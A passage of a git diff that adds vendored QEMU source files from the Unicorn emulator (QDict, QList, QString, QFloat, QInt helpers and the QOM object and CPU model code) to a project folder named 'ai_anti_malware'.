g_free(new_key); + + if (delete) { + qdict_del(qdict, entry->key); + + /* Restart loop after modifying the iterated QDict */ + entry = qdict_first(qdict); + continue; + } + + entry = next; + } +} + +/** + * qdict_flatten(): For each nested QDict with key x, all fields with key y + * are moved to this QDict and their key is renamed to "x.y". For each nested + * QList with key x, the field at index y is moved to this QDict with the key + * "x.y" (i.e., the reverse of what qdict_array_split() does). + * This operation is applied recursively for nested QDicts and QLists. + */ +void qdict_flatten(QDict *qdict) +{ + qdict_flatten_qdict(qdict, qdict, NULL); +} + +/* extract all the src QDict entries starting by start into dst */ +void qdict_extract_subqdict(QDict *src, QDict **dst, const char *start) + +{ + const QDictEntry *entry, *next; + const char *p; + + *dst = qdict_new(); + entry = qdict_first(src); + + while (entry != NULL) { + next = qdict_next(src, entry); + if (strstart(entry->key, start, &p)) { + qobject_incref(entry->value); + qdict_put_obj(*dst, p, entry->value); + qdict_del(src, entry->key); + } + entry = next; + } +} + +static bool qdict_has_prefixed_entries(const QDict *src, const char *start) +{ + const QDictEntry *entry; + + for (entry = qdict_first(src); entry; entry = qdict_next(src, entry)) { + if (strstart(entry->key, start, NULL)) { + return true; + } + } + + return false; +} + +/** + * qdict_array_split(): This function moves array-like elements of a QDict into + * a new QList. Every entry in the original QDict with a key "%u" or one + * prefixed "%u.", where %u designates an unsigned integer starting at 0 and + * incrementally counting up, will be moved to a new QDict at index %u in the + * output QList with the key prefix removed, if that prefix is "%u.". If the + * whole key is just "%u", the whole QObject will be moved unchanged without + * creating a new QDict. The function terminates when there is no entry in the + * QDict with a prefix directly (incrementally) following the last one; it also + * returns if there are both entries with "%u" and "%u." for the same index %u. + * Example: {"0.a": 42, "0.b": 23, "1.x": 0, "4.y": 1, "o.o": 7, "2": 66} + * (or {"1.x": 0, "4.y": 1, "0.a": 42, "o.o": 7, "0.b": 23, "2": 66}) + * => [{"a": 42, "b": 23}, {"x": 0}, 66] + * and {"4.y": 1, "o.o": 7} (remainder of the old QDict) + */ +void qdict_array_split(QDict *src, QList **dst) +{ + unsigned i; + + *dst = qlist_new(); + + for (i = 0; i < UINT_MAX; i++) { + QObject *subqobj; + bool is_subqdict; + QDict *subqdict; + char indexstr[32], prefix[32]; + size_t snprintf_ret; + + snprintf_ret = snprintf(indexstr, 32, "%u", i); + assert(snprintf_ret < 32); + + subqobj = qdict_get(src, indexstr); + + snprintf_ret = snprintf(prefix, 32, "%u.", i); + assert(snprintf_ret < 32); + + is_subqdict = qdict_has_prefixed_entries(src, prefix); + + // There may be either a single subordinate object (named "%u") or + // multiple objects (each with a key prefixed "%u."), but not both. + if (!subqobj == !is_subqdict) { + break; + } + + if (is_subqdict) { + qdict_extract_subqdict(src, &subqdict, prefix); + assert(qdict_size(subqdict) > 0); + } else { + qobject_incref(subqobj); + qdict_del(src, indexstr); + } + + qlist_append_obj(*dst, (subqobj!=NULL) ? subqobj : QOBJECT(subqdict)); + } +} + +/** + * qdict_join(): Absorb the src QDict into the dest QDict, that is, move all + * elements from src to dest. + * + * If an element from src has a key already present in dest, it will not be + * moved unless overwrite is true. + * + * If overwrite is true, the conflicting values in dest will be discarded and + * replaced by the corresponding values from src. + * + * Therefore, with overwrite being true, the src QDict will always be empty when + * this function returns. If overwrite is false, the src QDict will be empty + * iff there were no conflicts. + */ +void qdict_join(QDict *dest, QDict *src, bool overwrite) +{ + const QDictEntry *entry, *next; + + entry = qdict_first(src); + while (entry) { + next = qdict_next(src, entry); + + if (overwrite || !qdict_haskey(dest, entry->key)) { + qobject_incref(entry->value); + qdict_put_obj(dest, entry->key, entry->value); + qdict_del(src, entry->key); + } + + entry = next; + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qerror.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qerror.c new file mode 100644 index 0000000..5589854 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qerror.c @@ -0,0 +1,39 @@ +/* + * QError Module + * + * Copyright (C) 2009 Red Hat Inc. + * + * Authors: + * Luiz Capitulino + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ + +#include "qapi/qmp/qjson.h" +#include "qapi/qmp/qerror.h" +#include "qemu-common.h" + + +/** + * qerror_human(): Format QError data into human-readable string. + */ +QString *qerror_human(const QError *qerror) +{ + return qstring_from_str(qerror->err_msg); +} + +void qerror_report(ErrorClass eclass, const char *fmt, ...) +{ +} + +/* Evil... */ +struct Error +{ + char *msg; + ErrorClass err_class; +}; + +void qerror_report_err(Error *err) +{ +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qfloat.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qfloat.c new file mode 100644 index 0000000..d6d4d3a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qfloat.c @@ -0,0 +1,68 @@ +/* + * QFloat Module + * + * Copyright IBM, Corp. 2009 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qapi/qmp/qfloat.h" +#include "qapi/qmp/qobject.h" +#include "qemu-common.h" + +static void qfloat_destroy_obj(QObject *obj); + +static const QType qfloat_type = { + QTYPE_QFLOAT, + qfloat_destroy_obj, +}; + +/** + * qfloat_from_int(): Create a new QFloat from a float + * + * Return strong reference. + */ +QFloat *qfloat_from_double(double value) +{ + QFloat *qf; + + qf = g_malloc(sizeof(*qf)); + qf->value = value; + QOBJECT_INIT(qf, &qfloat_type); + + return qf; +} + +/** + * qfloat_get_double(): Get the stored float + */ +double qfloat_get_double(const QFloat *qf) +{ + return qf->value; +} + +/** + * qobject_to_qfloat(): Convert a QObject into a QFloat + */ +QFloat *qobject_to_qfloat(const QObject *obj) +{ + if (qobject_type(obj) != QTYPE_QFLOAT) + return NULL; + + return container_of(obj, QFloat, base); +} + +/** + * qfloat_destroy_obj(): Free all memory allocated by a + * QFloat object + */ +static void qfloat_destroy_obj(QObject *obj) +{ + assert(obj != NULL); + g_free(qobject_to_qfloat(obj)); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qint.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qint.c new file mode 100644 index 0000000..e285d13 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qint.c @@ -0,0 +1,67 @@ +/* + * QInt Module + * + * Copyright (C) 2009 Red Hat Inc. + * + * Authors: + * Luiz Capitulino + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ + +#include "qapi/qmp/qint.h" +#include "qapi/qmp/qobject.h" +#include "qemu-common.h" + +static void qint_destroy_obj(QObject *obj); + +static const QType qint_type = { + QTYPE_QINT, + qint_destroy_obj, +}; + +/** + * qint_from_int(): Create a new QInt from an int64_t + * + * Return strong reference. + */ +QInt *qint_from_int(int64_t value) +{ + QInt *qi; + + qi = g_malloc(sizeof(*qi)); + qi->value = value; + QOBJECT_INIT(qi, &qint_type); + + return qi; +} + +/** + * qint_get_int(): Get the stored integer + */ +int64_t qint_get_int(const QInt *qi) +{ + return qi->value; +} + +/** + * qobject_to_qint(): Convert a QObject into a QInt + */ +QInt *qobject_to_qint(const QObject *obj) +{ + if (qobject_type(obj) != QTYPE_QINT) + return NULL; + + return container_of(obj, QInt, base); +} + +/** + * qint_destroy_obj(): Free all memory allocated by a + * QInt object + */ +static void qint_destroy_obj(QObject *obj) +{ + assert(obj != NULL); + g_free(qobject_to_qint(obj)); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qlist.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qlist.c new file mode 100644 index 0000000..60ce805 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qlist.c @@ -0,0 +1,170 @@ +/* + * QList Module + * + * Copyright (C) 2009 Red Hat Inc. + * + * Authors: + * Luiz Capitulino + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ + +#include "qapi/qmp/qlist.h" +#include "qapi/qmp/qobject.h" +#include "qemu/queue.h" +#include "qemu-common.h" + +static void qlist_destroy_obj(QObject *obj); + +static const QType qlist_type = { + QTYPE_QLIST, + qlist_destroy_obj, +}; + +/** + * qlist_new(): Create a new QList + * + * Return strong reference. + */ +QList *qlist_new(void) +{ + QList *qlist; + + qlist = g_malloc(sizeof(*qlist)); + QTAILQ_INIT(&qlist->head); + QOBJECT_INIT(qlist, &qlist_type); + + return qlist; +} + +static void qlist_copy_elem(QObject *obj, void *opaque) +{ + QList *dst = opaque; + + qobject_incref(obj); + qlist_append_obj(dst, obj); +} + +QList *qlist_copy(QList *src) +{ + QList *dst = qlist_new(); + + qlist_iter(src, qlist_copy_elem, dst); + + return dst; +} + +/** + * qlist_append_obj(): Append an QObject into QList + * + * NOTE: ownership of 'value' is transferred to the QList + */ +void qlist_append_obj(QList *qlist, QObject *value) +{ + QListEntry *entry; + + entry = g_malloc(sizeof(*entry)); + entry->value = value; + + QTAILQ_INSERT_TAIL(&qlist->head, entry, next); +} + +/** + * qlist_iter(): Iterate over all the list's stored values. + * + * This function allows the user to provide an iterator, which will be + * called for each stored value in the list. + */ +void qlist_iter(const QList *qlist, + void (*iter)(QObject *obj, void *opaque), void *opaque) +{ + QListEntry *entry; + + QTAILQ_FOREACH(entry, &qlist->head, next) + iter(entry->value, opaque); +} + +QObject *qlist_pop(QList *qlist) +{ + QListEntry *entry; + QObject *ret; + + if (qlist == NULL || QTAILQ_EMPTY(&qlist->head)) { + return NULL; + } + + entry = QTAILQ_FIRST(&qlist->head); + QTAILQ_REMOVE(&qlist->head, entry, next); + + ret = entry->value; + g_free(entry); + + return ret; +} + +QObject *qlist_peek(QList *qlist) +{ + QListEntry *entry; + QObject *ret; + + if (qlist == NULL || QTAILQ_EMPTY(&qlist->head)) { + return NULL; + } + + entry = QTAILQ_FIRST(&qlist->head); + + ret = entry->value; + + return ret; +} + +int qlist_empty(const QList *qlist) +{ + return QTAILQ_EMPTY(&qlist->head); +} + +static void qlist_size_iter(QObject *obj, void *opaque) +{ + size_t *count = opaque; + (*count)++; +} + +size_t qlist_size(const QList *qlist) +{ + size_t count = 0; + qlist_iter(qlist, qlist_size_iter, &count); + return count; +} + +/** + * qobject_to_qlist(): Convert a QObject into a QList + */ +QList *qobject_to_qlist(const QObject *obj) +{ + if (qobject_type(obj) != QTYPE_QLIST) { + return NULL; + } + + return container_of(obj, QList, base); +} + +/** + * qlist_destroy_obj(): Free all the memory allocated by a QList + */ +static void qlist_destroy_obj(QObject *obj) +{ + QList *qlist; + QListEntry *entry, *next_entry; + + assert(obj != NULL); + qlist = qobject_to_qlist(obj); + + QTAILQ_FOREACH_SAFE(entry, &qlist->head, next, next_entry) { + QTAILQ_REMOVE(&qlist->head, entry, next); + qobject_decref(entry->value); + g_free(entry); + } + + g_free(qlist); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qstring.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qstring.c new file mode 100644 index 0000000..542810a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qstring.c @@ -0,0 +1,149 @@ +/* + * QString Module + * + * Copyright (C) 2009 Red Hat Inc. + * + * Authors: + * Luiz Capitulino + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ + +#include "qapi/qmp/qobject.h" +#include "qapi/qmp/qstring.h" +#include "qemu-common.h" + +static void qstring_destroy_obj(QObject *obj); + +static const QType qstring_type = { + QTYPE_QSTRING, + qstring_destroy_obj, +}; + +/** + * qstring_new(): Create a new empty QString + * + * Return strong reference. + */ +QString *qstring_new(void) +{ + return qstring_from_str(""); +} + +/** + * qstring_get_length(): Get the length of a QString + */ +size_t qstring_get_length(const QString *qstring) +{ + return qstring->length; +} + +/** + * qstring_from_substr(): Create a new QString from a C string substring + * + * Return string reference + */ +QString *qstring_from_substr(const char *str, int start, int end) +{ + QString *qstring; + + qstring = g_malloc(sizeof(*qstring)); + + qstring->length = end - start + 1; + qstring->capacity = qstring->length; + + qstring->string = g_malloc(qstring->capacity + 1); + memcpy(qstring->string, str + start, qstring->length); + qstring->string[qstring->length] = 0; + + QOBJECT_INIT(qstring, &qstring_type); + + return qstring; +} + +/** + * qstring_from_str(): Create a new QString from a regular C string + * + * Return strong reference. + */ +QString *qstring_from_str(const char *str) +{ + return qstring_from_substr(str, 0, strlen(str) - 1); +} + +static void capacity_increase(QString *qstring, size_t len) +{ + if (qstring->capacity < (qstring->length + len)) { + qstring->capacity += len; + qstring->capacity *= 2; /* use exponential growth */ + + qstring->string = g_realloc(qstring->string, qstring->capacity + 1); + } +} + +/* qstring_append(): Append a C string to a QString + */ +void qstring_append(QString *qstring, const char *str) +{ + size_t len = strlen(str); + + capacity_increase(qstring, len); + memcpy(qstring->string + qstring->length, str, len); + qstring->length += len; + qstring->string[qstring->length] = 0; +} + +void qstring_append_int(QString *qstring, int64_t value) +{ + char num[32]; + + snprintf(num, sizeof(num), "%" PRId64, value); + qstring_append(qstring, num); +} + +/** + * qstring_append_chr(): Append a C char to a QString + */ +void qstring_append_chr(QString *qstring, int c) +{ + capacity_increase(qstring, 1); + qstring->string[qstring->length++] = c; + qstring->string[qstring->length] = 0; +} + +/** + * qobject_to_qstring(): Convert a QObject to a QString + */ +QString *qobject_to_qstring(const QObject *obj) +{ + if (qobject_type(obj) != QTYPE_QSTRING) + return NULL; + + return container_of(obj, QString, base); +} + +/** + * qstring_get_str(): Return a pointer to the stored string + * + * NOTE: Should be used with caution, if the object is deallocated + * this pointer becomes invalid. + */ +const char *qstring_get_str(const QString *qstring) +{ + return qstring->string; +} + +/** + * qstring_destroy_obj(): Free all memory allocated by a QString + * object + */ +static void qstring_destroy_obj(QObject *obj) +{ + QString *qs; + + assert(obj != NULL); + qs = qobject_to_qstring(obj); + g_free(qs->string); + g_free(qs); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qom/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/qom/Makefile.objs new file mode 100644 index 0000000..6a93ac7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qom/Makefile.objs @@ -0,0 +1,2 @@ +common-obj-y = object.o container.o qom-qobject.o +common-obj-y += cpu.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qom/container.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qom/container.c new file mode 100644 index 0000000..e0e18f7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qom/container.c @@ -0,0 +1,50 @@ +/* + * Device Container + * + * Copyright IBM, Corp. 2012 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + */ + +#include "qom/object.h" +#include "qemu/module.h" +#include + +static const TypeInfo container_info = { + "container", + TYPE_OBJECT, + 0, + sizeof(Object), +}; + +void container_register_types(struct uc_struct *uc) +{ + type_register_static(uc, &container_info); +} + +Object *container_get(struct uc_struct *uc, Object *root, const char *path) +{ + Object *obj, *child; + gchar **parts; + int i; + + parts = g_strsplit(path, "/", 0); + assert(parts != NULL && parts[0] != NULL && !parts[0][0]); + obj = root; + + for (i = 1; parts[i] != NULL; i++, obj = child) { + child = object_resolve_path_component(uc, obj, parts[i]); + if (!child) { + child = object_new(uc, "container"); + object_property_add_child(obj, parts[i], child, NULL); + } + } + + g_strfreev(parts); + + return obj; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qom/cpu.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qom/cpu.c new file mode 100644 index 0000000..2c3a193 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qom/cpu.c @@ -0,0 +1,284 @@ +/* + * QEMU CPU model + * + * Copyright (c) 2012-2014 SUSE LINUX Products GmbH + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, see + * + */ + +#include "qemu-common.h" +#include "qemu/log.h" +#include "uc_priv.h" + +bool cpu_exists(struct uc_struct* uc, int64_t id) +{ + CPUState *cpu = uc->cpu; + CPUClass *cc = CPU_GET_CLASS(uc, cpu); + + if (cc->get_arch_id(cpu) == id) { + return true; + } + return false; +} + +CPUState *cpu_generic_init(struct uc_struct *uc, const char *typename, const char *cpu_model) +{ + char *str, *name, *featurestr; + CPUState *cpu; + ObjectClass *oc; + CPUClass *cc; + Error *err = NULL; + + str = g_strdup(cpu_model); + name = strtok(str, ","); + + oc = cpu_class_by_name(uc, typename, name); + if (oc == NULL) { + g_free(str); + return NULL; + } + + cpu = CPU(object_new(uc, object_class_get_name(oc))); + cc = CPU_GET_CLASS(uc, cpu); + + featurestr = strtok(NULL, ","); + cc->parse_features(cpu, featurestr, &err); + g_free(str); + if (err != NULL) { + goto out; + } + + object_property_set_bool(uc, OBJECT(cpu), true, "realized", &err); + +out: + if (err != NULL) { + error_free(err); + object_unref(uc, OBJECT(cpu)); + return NULL; + } + + return cpu; +} + +bool cpu_paging_enabled(const CPUState *cpu) +{ + CPUClass *cc = CPU_GET_CLASS(cpu->uc, cpu); + + return cc->get_paging_enabled(cpu); +} + +static bool cpu_common_get_paging_enabled(const CPUState *cpu) +{ + return false; +} + +void cpu_get_memory_mapping(CPUState *cpu, MemoryMappingList *list, + Error **errp) +{ + CPUClass *cc = CPU_GET_CLASS(cpu->uc, cpu); + + cc->get_memory_mapping(cpu, list, errp); +} + +static void cpu_common_get_memory_mapping(CPUState *cpu, + MemoryMappingList *list, + Error **errp) +{ + error_setg(errp, "Obtaining memory mappings is unsupported on this CPU."); +} + +void cpu_reset_interrupt(CPUState *cpu, int mask) +{ + cpu->interrupt_request &= ~mask; +} + +void cpu_exit(CPUState *cpu) +{ + cpu->exit_request = 1; + cpu->tcg_exit_req = 1; +} + +static void cpu_common_noop(CPUState *cpu) +{ +} + +static bool cpu_common_exec_interrupt(CPUState *cpu, int int_req) +{ + return false; +} + +void cpu_dump_state(CPUState *cpu, FILE *f, fprintf_function cpu_fprintf, + int flags) +{ + CPUClass *cc = CPU_GET_CLASS(cpu->uc, cpu); + + if (cc->dump_state) { + cc->dump_state(cpu, f, cpu_fprintf, flags); + } +} + +void cpu_dump_statistics(CPUState *cpu, FILE *f, fprintf_function cpu_fprintf, + int flags) +{ + CPUClass *cc = CPU_GET_CLASS(cpu->uc, cpu); + + if (cc->dump_statistics) { + cc->dump_statistics(cpu, f, cpu_fprintf, flags); + } +} + +void cpu_reset(CPUState *cpu) +{ + CPUClass *klass = CPU_GET_CLASS(cpu->uc, cpu); + + if (klass->reset != NULL) { + (*klass->reset)(cpu); + } +} + +static void cpu_common_reset(CPUState *cpu) +{ + CPUClass *cc = CPU_GET_CLASS(cpu->uc, cpu); + + if (qemu_loglevel_mask(CPU_LOG_RESET)) { + qemu_log("CPU Reset (CPU %d)\n", cpu->cpu_index); + log_cpu_state(cpu, cc->reset_dump_flags); + } + + cpu->interrupt_request = 0; + cpu->current_tb = NULL; + cpu->halted = 0; + cpu->mem_io_pc = 0; + cpu->mem_io_vaddr = 0; + cpu->icount_extra = 0; + cpu->icount_decr.u32 = 0; + cpu->can_do_io = 0; + memset(cpu->tb_jmp_cache, 0, TB_JMP_CACHE_SIZE * sizeof(void *)); +} + +static bool cpu_common_has_work(CPUState *cs) +{ + return false; +} + +ObjectClass *cpu_class_by_name(struct uc_struct *uc, const char *typename, const char *cpu_model) +{ + CPUClass *cc = CPU_CLASS(uc, object_class_by_name(uc, typename)); + + return cc->class_by_name(uc, cpu_model); +} + +static ObjectClass *cpu_common_class_by_name(struct uc_struct *uc, const char *cpu_model) +{ + return NULL; +} + +static void cpu_common_parse_features(CPUState *cpu, char *features, + Error **errp) +{ + char *featurestr; /* Single "key=value" string being parsed */ + char *val; + Error *err = NULL; + + featurestr = features ? strtok(features, ",") : NULL; + + while (featurestr) { + val = strchr(featurestr, '='); + if (val) { + *val = 0; + val++; + object_property_parse(cpu->uc, OBJECT(cpu), val, featurestr, &err); + if (err) { + error_propagate(errp, err); + return; + } + } else { + error_setg(errp, "Expected key=value format, found %s.", + featurestr); + return; + } + featurestr = strtok(NULL, ","); + } +} + +static int cpu_common_realizefn(struct uc_struct *uc, DeviceState *dev, Error **errp) +{ + CPUState *cpu = CPU(dev); + + if (dev->hotplugged) { + cpu_resume(cpu); + } + + return 0; +} + +static void cpu_common_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ +} + +static int64_t cpu_common_get_arch_id(CPUState *cpu) +{ + return cpu->cpu_index; +} + +static void cpu_class_init(struct uc_struct *uc, ObjectClass *klass, void *data) +{ + DeviceClass *dc = DEVICE_CLASS(uc, klass); + CPUClass *k = CPU_CLASS(uc, klass); + + k->class_by_name = cpu_common_class_by_name; + k->parse_features = cpu_common_parse_features; + k->reset = cpu_common_reset; + k->get_arch_id = cpu_common_get_arch_id; + k->has_work = cpu_common_has_work; + k->get_paging_enabled = cpu_common_get_paging_enabled; + k->get_memory_mapping = cpu_common_get_memory_mapping; + k->debug_excp_handler = cpu_common_noop; + k->cpu_exec_enter = cpu_common_noop; + k->cpu_exec_exit = cpu_common_noop; + k->cpu_exec_interrupt = cpu_common_exec_interrupt; + dc->realize = cpu_common_realizefn; + /* + * Reason: CPUs still need special care by board code: wiring up + * IRQs, adding reset handlers, halting non-first CPUs, ... + */ + dc->cannot_instantiate_with_device_add_yet = true; +} + +static const TypeInfo cpu_type_info = { + TYPE_CPU, + TYPE_DEVICE, + + sizeof(CPUClass), + sizeof(CPUState), + NULL, + + cpu_common_initfn, + NULL, + NULL, + + NULL, + + cpu_class_init, + NULL, + NULL, + + true, +}; + +void cpu_register_types(struct uc_struct *uc) +{ + type_register_static(uc, &cpu_type_info); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qom/object.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qom/object.c new file mode 100644 index 0000000..8457c76 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qom/object.c @@ -0,0 +1,1691 @@ +/* + * QEMU Object Model + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + */ + +#include "qom/object.h" +#include "qemu-common.h" +#include "qapi/visitor.h" +#include "qapi-visit.h" +#include "qapi/string-input-visitor.h" +#include "qapi/qmp/qerror.h" + +/* TODO: replace QObject with a simpler visitor to avoid a dependency + * of the QOM core on QObject? */ +#include "qom/qom-qobject.h" +#include "qapi/qmp/qobject.h" +#include "qapi/qmp/qbool.h" +#include "qapi/qmp/qint.h" +#include "qapi/qmp/qstring.h" + +#include "uc_priv.h" + +#define MAX_INTERFACES 32 + +typedef struct InterfaceImpl InterfaceImpl; +typedef struct TypeImpl TypeImpl; + +struct InterfaceImpl +{ + const char *typename; +}; + +struct TypeImpl +{ + const char *name; + const char *parent; + + size_t class_size; + size_t instance_size; + void *instance_userdata; + + void (*class_init)(struct uc_struct *uc, ObjectClass *klass, void *data); + void (*class_base_init)(ObjectClass *klass, void *data); + void (*class_finalize)(ObjectClass *klass, void *data); + + void *class_data; + + void (*instance_init)(struct uc_struct *uc, Object *obj, void *opaque); + void (*instance_post_init)(struct uc_struct *uc, Object *obj); + void (*instance_finalize)(struct uc_struct *uc, Object *obj, void *opaque); + + bool abstract; + + TypeImpl *parent_type; + ObjectClass *class; + + int num_interfaces; + InterfaceImpl interfaces[MAX_INTERFACES]; +}; + + +static GHashTable *type_table_get(struct uc_struct *uc) +{ + if (uc->type_table == NULL) { + uc->type_table = g_hash_table_new(g_str_hash, g_str_equal); + } + + return uc->type_table; +} + + +static void type_table_add(struct uc_struct *uc, TypeImpl *ti) +{ + assert(!uc->enumerating_types); + g_hash_table_insert(type_table_get(uc), (void *)ti->name, ti); +} + +static TypeImpl *type_table_lookup(struct uc_struct *uc, const char *name) +{ + return g_hash_table_lookup(type_table_get(uc), name); +} + +static TypeImpl *type_new(struct uc_struct *uc, const TypeInfo *info) +{ + TypeImpl *ti = g_malloc0(sizeof(*ti)); + int i; + + g_assert(info->name != NULL); + + if (type_table_lookup(uc, info->name) != NULL) { + fprintf(stderr, "Registering `%s' which already exists\n", info->name); + abort(); + } + + ti->name = g_strdup(info->name); + ti->parent = g_strdup(info->parent); + + ti->class_size = info->class_size; + ti->instance_size = info->instance_size; + + ti->class_init = info->class_init; + ti->class_base_init = info->class_base_init; + ti->class_finalize = info->class_finalize; + ti->class_data = info->class_data; + + ti->instance_userdata = info->instance_userdata; + ti->instance_init = info->instance_init; + ti->instance_post_init = info->instance_post_init; + ti->instance_finalize = info->instance_finalize; + + ti->abstract = info->abstract; + + for (i = 0; info->interfaces && info->interfaces[i].type; i++) { + ti->interfaces[i].typename = g_strdup(info->interfaces[i].type); + } + ti->num_interfaces = i; + + return ti; +} + +static TypeImpl *type_register_internal(struct uc_struct *uc, const TypeInfo *info) +{ + TypeImpl *ti; + ti = type_new(uc, info); + + type_table_add(uc, ti); + return ti; +} + +TypeImpl *type_register(struct uc_struct *uc, const TypeInfo *info) +{ + assert(info->parent); + return type_register_internal(uc, info); +} + +TypeImpl *type_register_static(struct uc_struct *uc, const TypeInfo *info) +{ + return type_register(uc, info); +} + +static TypeImpl *type_get_by_name(struct uc_struct *uc, const char *name) +{ + if (name == NULL) { + return NULL; + } + + return type_table_lookup(uc, name); +} + +static TypeImpl *type_get_parent(struct uc_struct *uc, TypeImpl *type) +{ + if (!type->parent_type && type->parent) { + type->parent_type = type_get_by_name(uc, type->parent); + g_assert(type->parent_type != NULL); + } + + return type->parent_type; +} + +static bool type_has_parent(TypeImpl *type) +{ + return (type->parent != NULL); +} + +static size_t type_class_get_size(struct uc_struct *uc, TypeImpl *ti) +{ + if (ti->class_size) { + return ti->class_size; + } + + if (type_has_parent(ti)) { + return type_class_get_size(uc, type_get_parent(uc, ti)); + } + + return sizeof(ObjectClass); +} + +static size_t type_object_get_size(struct uc_struct *uc, TypeImpl *ti) +{ + if (ti->instance_size) { + return ti->instance_size; + } + + if (type_has_parent(ti)) { + return type_object_get_size(uc, type_get_parent(uc, ti)); + } + + return 0; +} + +static bool type_is_ancestor(struct uc_struct *uc, TypeImpl *type, TypeImpl *target_type) +{ + assert(target_type); + + /* Check if typename is a direct ancestor of type */ + while (type) { + if (type == target_type) { + return true; + } + + type = type_get_parent(uc, type); + } + + return false; +} + +static void type_initialize(struct uc_struct *uc, TypeImpl *ti); + +static void type_initialize_interface(struct uc_struct *uc, TypeImpl *ti, TypeImpl *interface_type, + TypeImpl *parent_type) +{ + InterfaceClass *new_iface; + TypeInfo info = { 0 }; + TypeImpl *iface_impl; + + info.parent = parent_type->name; + info.name = g_strdup_printf("%s::%s", ti->name, interface_type->name); + info.abstract = true; + + iface_impl = type_new(uc, &info); + iface_impl->parent_type = parent_type; + type_initialize(uc, iface_impl); + g_free((char *)info.name); + + new_iface = (InterfaceClass *)iface_impl->class; + new_iface->concrete_class = ti->class; + new_iface->interface_type = interface_type; + + ti->class->interfaces = g_slist_append(ti->class->interfaces, + iface_impl->class); +} + +static void type_initialize(struct uc_struct *uc, TypeImpl *ti) +{ + TypeImpl *parent; + + if (ti->class) { + return; + } + + ti->class_size = type_class_get_size(uc, ti); + ti->instance_size = type_object_get_size(uc, ti); + + ti->class = g_malloc0(ti->class_size); + + parent = type_get_parent(uc, ti); + if (parent) { + GSList *e; + int i; + type_initialize(uc, parent); + + g_assert(parent->class_size <= ti->class_size); + memcpy(ti->class, parent->class, parent->class_size); + ti->class->interfaces = NULL; + + for (e = parent->class->interfaces; e; e = e->next) { + InterfaceClass *iface = e->data; + ObjectClass *klass = OBJECT_CLASS(iface); + + type_initialize_interface(uc, ti, iface->interface_type, klass->type); + } + + for (i = 0; i < ti->num_interfaces; i++) { + TypeImpl *t = type_get_by_name(uc, ti->interfaces[i].typename); + for (e = ti->class->interfaces; e; e = e->next) { + TypeImpl *target_type = OBJECT_CLASS(e->data)->type; + + if (type_is_ancestor(uc, target_type, t)) { + break; + } + } + + if (e) { + continue; + } + + type_initialize_interface(uc, ti, t, t); + } + } + + ti->class->type = ti; + + while (parent) { + if (parent->class_base_init) { + parent->class_base_init(ti->class, ti->class_data); + } + parent = type_get_parent(uc, parent); + } + + if (ti->class_init) { + ti->class_init(uc, ti->class, ti->class_data); + } +} + +static void object_init_with_type(struct uc_struct *uc, Object *obj, TypeImpl *ti) +{ + if (type_has_parent(ti)) { + object_init_with_type(uc, obj, type_get_parent(uc, ti)); + } + + if (ti->instance_init) { + ti->instance_init(uc, obj, ti->instance_userdata); + } +} + +static void object_post_init_with_type(struct uc_struct *uc, Object *obj, TypeImpl *ti) +{ + if (ti->instance_post_init) { + ti->instance_post_init(uc, obj); + } + + if (type_has_parent(ti)) { + object_post_init_with_type(uc, obj, type_get_parent(uc, ti)); + } +} + +static void object_initialize_with_type(struct uc_struct *uc, void *data, size_t size, TypeImpl *type) +{ + Object *obj = data; + + g_assert(type != NULL); + type_initialize(uc, type); + + g_assert(type->instance_size >= sizeof(Object)); + g_assert(type->abstract == false); + g_assert(size >= type->instance_size); + + memset(obj, 0, type->instance_size); + 